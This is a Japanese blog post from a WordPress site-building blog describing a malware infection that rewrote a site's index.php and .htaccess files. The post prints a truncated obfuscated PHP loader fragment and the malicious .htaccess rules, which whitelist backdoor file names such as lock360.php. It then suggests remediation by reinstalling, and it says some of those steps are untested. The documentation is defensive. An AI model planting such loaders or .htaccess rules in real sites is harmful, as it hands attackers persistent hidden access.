🚀 サイト構築が難しい?手取り足取りご案内します——「WordPressサイト構築伴走」サービスを詳しく見る →

WordPressサイトの.htaccessファイルがウイルスに感染した一件

今日、かなり強力なウイルスに遭遇しました。これはウェブサイトディレクトリ下のindex.phpや.htaccessなどのファイルを自動的に感染させ、感染後はウェブサイトが開かなくなり、その他の影響は不明です。ここにウイルス分析と解決方法を記録します。   ウイルスの具体的な状況:まず、index.phpファイルに大量の暗号化されたコードが挿入されます:
<php
$O_O_O_0O00=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$O0_0O__0OO=$O_O_O_0O00[44].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[65].$O_O_O_0O00[10].$O_O_O_0O00[53].$O_O_O_0O00[31].$O_O_O_0O00[44].$O_O_O_0O00[39].$O_O_O_0O00[21].$O_O_O_0O00[56].$O_O_O_0O00[31].$O_O_O_0O00[10].$O_O_O_0O00[56].$O_O_O_0O00[21
その後、.htaccessファイルは常に以下のように書き換えられてしまいます:
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
このウイルスに感染したサイトはcPanelの共有ホスティングを使用していました。奇妙なことに、ルートディレクトリのすべてのファイルを削除し、リフレッシュしても、依然としてウイルスファイルが自動生成され、原因不明でした。そのため、直接新しいサーバーにインストールし直したところ、すべて正常に動作しました。WordPress公式フォーラムで検索した情報によると、このウイルスは数ヶ月前から報告されているようですが、明確な解決策はありません。幸いなことに、このウイルスはデータベースには感染しないため、WordPressを再インストールすることでこのウイルスを除去できます(サーバーOSの再インストールやサーバーの交換が必要な場合もあります)。また、オンラインで見つけた方法(PHPプロセスを停止し、感染したファイルを削除し、PHPを再起動する)はテストしていませんが、試してみる価値はあるかもしれません。

🚀 チュートリアルを見てもまだ迷っていますか?私が手取り足取りご案内しましょう

「WordPressサイト構築伴走」——ドメイン選び、ホスティング購入から、テーマのインストール、公開、投稿まで、すべてのステップで私が伴走します。遠回りせず、目標に直行できます。

👉 サイト構築伴走サービスを詳しく見る
🔒

コメントは終了しました

この記事のコメント機能は終了しています。ご質問がある場合は、他の方法でお問い合わせください。

×
二维码

QRコードをスキャンしてフォロー

AIサイト構築アシスタント

🤖
こんにちは!私はNaibaサイト構築ノートのAIアシスタントです。何かお手伝いできることはありますか?
クイックコンサルティング: